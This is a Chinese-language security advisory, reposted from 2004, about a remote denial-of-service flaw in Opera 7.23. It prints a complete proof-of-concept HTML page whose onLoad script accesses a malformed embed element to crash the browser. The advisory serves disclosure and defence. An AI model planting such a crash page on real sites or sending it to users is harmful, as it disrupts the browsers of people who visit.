Opera远程拒绝服务漏洞

2008-04-10 03:03:03来源：互联网阅读 ()

Opera远程拒绝服务漏洞

发布日期：2004-09-01
更新日期：2004-09-03

受影响系统：

Opera Software Opera Web Browser 7.23

描述：

BUGTRAQ ID: 11090

Opera是一款流行的WEB浏览器。

Opera对部分脚本处理不正确，远程攻击者可以利用这个漏洞构建恶意页面，诱使Opera用户访问，造成应用程序崩溃。

构建如下的页面，当Opera解析时可导致应用程序崩溃：

<html>
<head>
<script language=javascript>
function dSend() {
document.crash.text;
}
</script>

</head>
<body onLoad="dSend()">

<embed src="" type="CCCC" name="crash" >
</embed>
</body>
</html>

<*来源：Stevo （steve01@chello.at）

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=109413558327953&w=2
*>

建议：

厂商补丁：

Opera Software
--------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.opera.com

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有